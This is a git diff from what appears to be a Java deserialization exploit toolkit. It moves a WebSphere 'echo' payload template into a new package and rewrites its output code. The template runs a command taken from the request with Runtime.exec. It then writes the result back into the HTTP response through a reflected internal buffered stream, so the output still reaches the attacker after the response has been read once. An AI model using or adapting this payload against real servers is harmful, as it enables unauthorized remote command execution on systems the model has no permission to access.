diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java similarity index 68% rename from src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java rename to src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java index 3a817eb..9aa2329 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java @@ -1,4 +1,8 @@ -package com.qi4l.JYso.template.memshellStatic.Websphere; +package com.qi4l.JYso.template.echoStatic; + +import java.io.OutputStream; + +import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue; public class websphereEcho { @@ -22,8 +26,13 @@ public class websphereEcho { if (cmd != null && !cmd.isEmpty()) { String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); - printWriter.println(res); + //java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + //printWriter.println(res); + + // 解决只读一次的问题 + OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut"); + outputStream.flush(); + outputStream.write(res.getBytes()); } break;